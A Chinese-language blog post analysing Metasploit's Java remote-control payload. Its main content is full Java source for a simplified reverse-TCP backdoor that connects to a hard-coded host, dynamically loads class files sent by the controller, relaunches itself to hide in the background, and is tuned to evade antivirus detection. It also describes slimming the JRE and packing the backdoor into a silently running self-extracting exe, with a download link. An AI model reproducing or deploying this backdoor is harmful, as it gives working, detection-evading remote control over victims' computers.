【Java編程實戰】Metasploit_Java後門運行原理分析以及實現源碼級免殺與JRE精簡化

  • 2020 年 3 月 10 日
  • 筆記

某日午睡迷迷糊糊夢到Metasploit里有個Java平台的遠控載荷,夢醒後,打開虛擬機,在框架中搜索到了這個載荷

運行原理分析

既然是Java平台的程式,JD-GUI等反編譯工具自然必不可少 先利用msfvenom輸出一個java_payload

在Jar的簽名文件中找到載入入口 metasploit.Payload

跟進類文件的主函數入口

可以看到main方法一開始就初始化了一個Properties類,根據官方文檔介紹,該實例可以根據指定的鍵從文件或字元串中提取其值 接下來一個str1成員獲取了其所在類的類名,記住這個str1成員,在程式碼下文中會運用到這個變數 接著inputstream成員獲取了自身jar文件中的metasploit.dat文件的流 並且讓一開始就初始化的Properties對象調用load方法載入了這個文件的內容,所以可以猜測該文件中應該包含著關鍵資訊

查看文件內容

可以看到該文件中包含三個鍵與值,其中兩個鍵是需要反彈的目標地址 明晰了文件內容後繼續向下查看程式碼

首先str2變數獲取了metasploit.dat文件中鍵為Executable的值,通過查看文件可知並無此鍵,所以跳過第一個分支,直接向下執行 接著成員i獲取了文件中鍵為Spawn的值,文件中該值為2,程式在判斷該值大於0後進入分支 可知該分支內程式將成員i的值減去1後重寫入了原Spawn鍵,請記住這兩個不起眼的操作,至於為什麼要這麼執行,在下文中會詳細解釋 繼續執行,成員file1創建了一個臨時文件,緊接著程式在刪除了這個臨時文件後又藉助file1創建臨時文件時得到的路徑接連實例化三個File類,並預先傳入要輸出的位置,其中file4就包含了上文中出現的str1變數(Payload類的文件名),接著程式創建了該路徑所在的文件夾.

從上面這一系列操作不難猜出載荷作者可能是要在臨時路徑中釋放載荷文件. 接下來程式接連將自身類實例,str1與file4傳入writeEmeddedFile方法中

跟進方法

大致瀏覽程式碼可知該方法的作用是獲取自身Jar文件中的資源並輸出到指定文件夾中 從上文中可知程式將自身Payload.class文件輸出到了臨時文件夾中

繼續閱讀程式碼

程式實例化了FileOutputStream對象,並傳入了file3成員,也就是臨時文件夾中metasploit.dat應該輸出的位置 接著Properties對象將會把已讀取到的鍵與值寫入該路徑中 繼續執行,先查看圖中第四處紅線標記處,其中getJreExecutable方法是用來獲取環境變數中java.exe的文件路徑,若環境變數中不存在JDK或JRE路徑,則獲取執行載荷時所用的java.exe所在路徑 也就是說,該處紅線處程式通過實例化Runtime對象並利用java.exe重新執行了已經輸出在臨時文件夾中的Payload.class文件

執行完成之後程式將休眠2秒,接著刪除臨時文件夾中的所有文件 程式到這裡就執行結束了,不會進入到下面的那個分支,main方法中的所有程式碼已經全部執行完畢了.

WTF?WTF?這不是遠控載荷嗎?反彈shell的步驟呢?不要說什麼反彈shell了,連個Socket連接都沒建立呢! 先別急,這就是展現載荷作者編寫惡意軟體時的巧妙之處了,設想一下,在Java程式中若直接建立Socket連接的話,控制台就會一直顯示在前台等待,直到連接建立成功或連接超時時才退出程式,這樣的話就不能使得程式不可見並隱蔽到後台

查看上文,其中一個操作是調用Runtime對象並利用java.exe重新執行已經輸出在臨時文件夾中的Payload.class文件, 而調用Runtime執行該class文件時程式並不會因為這個被重新執行的class文件還未運行完成而一直在前台等待直到它運行結束,那麼說了這麼多,載荷作者到底想要怎麼做是不是已經有點頭緒了 先回顧一下上文中的一段程式碼

還記得上文中提到的兩個不起眼的操作么?調用Properties對象獲取Spawn鍵中的值,並判斷值是否大於0,若大於0就將獲取的值減一再重新寫進Spawn鍵,換句話說,每次Spawn大於0時,程式向下執行,最終這個class文件就會被重新執行一遍,而Spawn鍵中的值就會減小並再次寫進臨時文件夾中,最終鍵值等於0時就會進入判斷的另一個分支

跟進另一個判斷分支

可以看到在判斷的另一個分支內,程式使得成員j和成員str4分別調用Properties對象獲取了鍵LPORT與LHOST的值 程式向下執行,直接進入圖中正下方紅線標記處的else分支,可以看到程式通過實例化Socket類向指定上線地址建立套接字, 並將套接字IO流賦予成員inputStream1與outputStream

程式繼續在分支中向下執行

通過紅線標記處可知套接字IO流最終被傳入bootstrap方法中

跟進方法

如果有看過我上一篇分析Android後門的博文的話,到這裡就可以知道該Java後門仍然是利用動態載入遠程發送的class文件的方式執行C2地址下達的指令的

【逆向&編程實戰】MetasploitAndroid載荷運行流程分析_復現meterpreter模組接管shellhttps://blog.csdn.net/ALDYS4[1]

新瓶裝老酒,看圖中紅線標記處,成員i首先調用readInt方法讀取IO流中C2地址向受控端發送的int數據,該段數據就是C2地址發送的class文件的長度, 可以看到第二處紅線標記處的arrayOfByte成員實例化byte對象並將class文件總長度傳入,繼續向下執行,程式調用resolveClass方法將遠程發送來的class文件作為對象以實例化成員clazz,最終clazz調用getMethod方法獲取對象中的start方法並傳入套接字IO流後執行該方法. 至此,Java後門程式碼分析完畢,我畫了一張圖來再次簡要表述一下後門的運行流程

接下來我將對分析出的運行流程進行驗證 打開Eclipse,將JD-GUI反編譯出的Java程式碼直接複製進集成環境中,其中一些因為反編譯工具缺陷而出現的語法錯誤稍微進行修正就可以正常執行了

先將其中對臨時文件進行刪除的程式碼注釋掉,並在成員file1創建臨時文件之後列印出臨時文件所在路徑

運行程式,可見控制台列印出了臨時文件夾的路徑

跟進

可見臨時文件夾被創建了兩次,其中一個文件夾就是因為Spawn值大於0而使得自身class文件被重新執行而創建的

打開其中一個文件夾中的metasploit.dat文件,可以看到其Spawn值已經不大於0,此時程式就跳進了下一個分支並向C2地址建立了連接

繼續修改程式碼,可見bootstrap方法中紅線標記處,此處就是我另外修改的地方,瀏覽程式碼上下文可知我將C2地址發送到受控端的class文件輸出在桌面下

反編譯該class文件

大致瀏覽程式碼可知該class文件中的start方法充當一個仍然以動態載入class文件的方式充當接收器的作用

以這種方法向目標建立連接以及載入class文件,Java後門就能被隱藏在用戶不可見的後台中,

同時這種遠程接收class文件並動態載入來達到遠控的方法遠不同於其它市面上的遠控軟體,其它間諜軟體無非是將控制功能寫在受控端,而C2地址去下達指令調用寫在受控端中的程式碼,這樣的程式碼不僅不利於維護,靈活性還極差,而MSF的後門工具則完全相反,動態載入的方法可以說是一勞永逸,程式碼維護只需在C2地址上進行,用戶還可以自行構造class文件以進行更高層次的操作,在這裡不得不佩服Metasploit團隊編寫程式碼和最大限度壓縮惡意軟體體積的能力與實力

實現源碼級免殺

既然手裡已經有了通過反編譯得到的Java後門的源碼,那麼實現免殺就更輕而易舉, 有了上一次免殺Android後門的經驗,只需要對源碼合理變動,就能繞過大部分殺軟的特徵檢測了

既然運行原理已經熟知,這裡首先就對後門進行最簡化

注意:若仔細看過Java後門的程式碼,會發現MSF團隊不僅僅考慮了Windows系統,也考慮到了在linux平台上進行遠控的場景

程式碼不僅包含了以reverse_tcp模式載入的後門程式碼,也包含了對其他模式進行載入的程式碼(如bind_tcp,reverse_http等等) 所以程式碼中有大量對作業系統和載荷載入模式進行判斷的操作,在本文中並不詳細介紹這類方法

而本文的分析僅僅針對對Windows系統和reverse_tcp模式 所以這裡簡化的程式碼也僅僅針對此系統和此模式

上圖就是我簡化後的程式碼,流程更加簡明,僅僅兩步

建立對C2地址的套接字並獲取IO流,傳入bootstrap方法動態載入遠程發送的文件

整個流程僅僅38行程式碼,僅引入4個包

而原載荷中大致有270行程式碼,引入23個包 運行簡化後的程式碼,meterpreter成功接收到了反彈

import java.io.DataInputStream;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class Main extends ClassLoader {public static void main(String[] paramArrayOfString) throws Exception {    getShell();  }public static void getShell() throws Exception {    InputStream inputStream1 = null;    OutputStream outputStream = null;      int j = new Integer("1937").intValue();      String str4 = "192.168.179.133";      Socket socket = null;      if (str4 != null) {        socket = new Socket(str4, j);      }      inputStream1 = socket.getInputStream();      outputStream = socket.getOutputStream();      (new Main()).bootstrap(inputStream1, outputStream);}private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {    try {      Class clazz;      DataInputStream dataInputStream = new DataInputStream(paramInputStream);        int i = dataInputStream.readInt();        do {          byte[] arrayOfByte = new byte[i];          dataInputStream.readFully(arrayOfByte);          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));          i = dataInputStream.readInt();        } while (i > 0);      Object object = clazz.newInstance();      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });    } catch (Throwable throwable) {    }   }}

不過這種執行方法不能將程式隱藏到後台

所以繼續進行改進

新改進後的程式碼一共87行,引入7個包

通過瀏覽上圖程式碼可知,我僅僅在執行getShell方法之前進行了一個判斷

運行流程與原載荷大致相同,所以這裡不做介紹,直接放程式碼

import java.io.DataInputStream;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class Main extends ClassLoader {private static final String JAVA = System.getProperty("java.home") + "/bin/java.exe";  public static void main(String[] paramArrayOfString) throws Exception {    runInBackground();  }  public static void runInBackground() throws Exception {    Class clazz=Main.class;    File file1 = File.createTempFile("~spawn", ".tmp");      file1.delete();      File file2 = new File(file1.getAbsolutePath() + ".dir");      file2.mkdir();      File file3=new File(file2,clazz.getName().replace(".", "/")+".class");      File file4=new File(file2,"config");      if(readFile(Main.class, "config").equals("1")) {        writeFile(null, "config", file2,false,"0");        writeFile(clazz, clazz.getName().replace(".", "/")+".class", file2, true, null);      }      else {getShell();}      Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });      Thread.sleep(2000L);      File[] files= {file3,file4,file2};      for(File f:files) {f.delete();}}  public static void writeFile(Class clazz,String name,File dir,boolean ifIsfile,String config) throws IOException {  InputStream inputStream=null;  if(ifIsfile) {inputStream=clazz.getResourceAsStream("/"+name);}  File file=new File(dir,name);  file.getParentFile().mkdirs();  FileOutputStream fileOutputStream=new FileOutputStream(file);  byte[] b=new byte[4096];  if(ifIsfile) {    int i;  while((i=inputStream.read(b))!=-1) {    fileOutputStream.write(b, 0, i);  }  }else {  fileOutputStream.write(config.getBytes());  }  if(inputStream!=null)inputStream.close();  fileOutputStream.close();}  public static String readFile(Class clazz,String name) throws IOException {  InputStream inputStream=clazz.getResourceAsStream("/"+name);  StringBuffer str = new StringBuffer();  byte[] b=new byte[1024];  int i;  while((i=inputStream.read(b))!=-1) {    str.append(new String(b,0,i));  }  inputStream.close();  return str.toString();}  public static void getShell() throws Exception {    InputStream inputStream1 = null;    OutputStream outputStream = null;      int j = new Integer("1937").intValue();      String str4 = "192.168.179.133";      Socket socket = null;      if (str4 != null) {        socket = new Socket(str4, j);      }      inputStream1 = socket.getInputStream();      outputStream = socket.getOutputStream();      (new Main()).bootstrap(inputStream1, outputStream);}  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {    try {      Class clazz;      DataInputStream dataInputStream = new DataInputStream(paramInputStream);        int i = dataInputStream.readInt();        do {          byte[] arrayOfByte = new byte[i];          dataInputStream.readFully(arrayOfByte);          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));          i = dataInputStream.readInt();        } while (i > 0);      Object object = clazz.newInstance();      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });    } catch (Throwable throwable) {    }   }}

接著上傳到微步和在線殺毒網站進行測試

微步沙箱檢測鏈接

virscan在線殺毒檢測鏈接

可以看到僅僅簡化程式碼後免殺效果就已經非常理想了

JRE精簡化_將免殺後的程式碼打包為exe文件

總所周知,Java是一款跨平台語言,不論是在Windows平台還是Linux平台,jar文件都可以在相應環境下運行

但換句話說,即使是只執行一句HelloWorld,java程式都離不開近乎200MB的jre環境,如果只是執行這樣一個後門程式就需要如此之大的環境是不可能的,對於普通用戶來說這也顯示出Java的不便和臃腫 但即使是這樣Java仍然是我的女朋友(池沼)

在沒有安裝jre環境的普通用戶來說,顯然帶著整個jre和後門一起打包是不可能的了, 但我們可以只從jre中提取載入後門時需要用到的class文件,並集合到一起,這樣就能大大壓縮jre的體積

如圖所示,java中夾帶-XX:+TraceClassLoading參數即可列出所有被載入過的class文件,也就是說,只要提取出這部分class文件,就可以滿足載入後門程式的需求了

這是jar中的部分命令,其中 -x 與 -c 參數可以實現我們的目的 jre中的rt.jar包含了程式設計師編寫程式時所有最常用的類文件,所有我們僅僅需要從這個jar包中提取需要的class文件即可

如圖,我做了個輪子來提取rt.jar中的文件,就簡單的四步

實現程式碼

import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.util.ArrayList;import java.util.List;  import javax.sound.sampled.LineListener;  public class Main {public static void main(String[] arg) throws IOException {  Runtime runtime=Runtime.getRuntime();  String[] command={"java","-jar","-XX:+TraceClassLoading","C:\Users\Administrator\Desktop\msf.jar"};  Process process=runtime.exec(command);  BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));  StringBuffer sBuffer=new StringBuffer();  List<String> list=new ArrayList<String>();  int i =0;  String lineString;  while((lineString=bReader.readLine())!=null)    {      sBuffer.append("n"+getCore(lineString));      list.add(getCore(lineString.replace(".", "/")));      i++;    }  bReader.close();  System.out.println(sBuffer.toString());  list.add(0,"C:\Program Files\Java\jdk1.8.0_131\jre\lib\rt.jar");  list.add(0,"xvf");  list.add(0,"jar");  String[] jar=list.toArray(new String[list.size()]);  process=runtime.exec(jar);  getOutput(process);  System.out.println("Load class:" + i );  System.out.println("jar xvf done!");  String[] cmdJarPackage=cmd("jar cvf rt.jar com java javax META-INF org sun sunw");  runtime.exec(cmdJarPackage);  System.out.println("All done!");}public static String getCore(String line){  String result = null;  if (line.startsWith("[Loaded")) {    //if (line.split(" ")[1].startsWith("java"))//jdk,java,sun.com    if(true)    {      result = line.split(" ")[1];    }    else {      result = "";    }    return result;  }  else {    return "";  }  }public static String[] cmd(String cmd) {  return cmd.split(" ");  }public static void getOutput(Process process) throws IOException {  BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));  while(bReader.readLine()!=null)   {    System.out.println("n" + bReader.readLine());  }}}

因為-XX:+TraceClassLoading參數只能列出被載入的class文件,所以我需要將不能隱藏到後台的後門程式和完善後的後門程式一個個運行, 並且運行其中一些後門功能才能算列出足以滿足後門運行需求的class文件

這是未完善的後門程式

這是可以隱藏到後台的程式

將這些載入後的class文件合併為rt.jar

複製jre環境,替換掉其中的rt.jar,一步步測試後門能否運行,若不能運行,則與原jre環境中的rt.jar進行對照,一步步添加還可能需要用到的class文件, 這一步足足消耗了我一天多的時間

最後精簡化成果如下

在精簡化後jre的根目錄下放置後門jar和一個vbs文件,利用vbs來調用簡化後jre中的java.exe載入後門

利用winrar捆綁為自解壓文件,選擇以完全隱藏的模式運行

可以看到壓縮後的exe文件僅僅有6MB左右,相比原200多兆的環境,這個簡化成功可謂相當不錯

簡化後的jre鏈接: 鏈接: https://pan.baidu.com/s/10F6dvbP-ipMhHcAgT-N2gA[2] 提取碼: anf3

References

[1]: https://blog.csdn.net/ALDYS4 [2]: https://pan.baidu.com/s/10F6dvbP-ipMhHcAgT-N2gA 提取碼:anf3

Tags: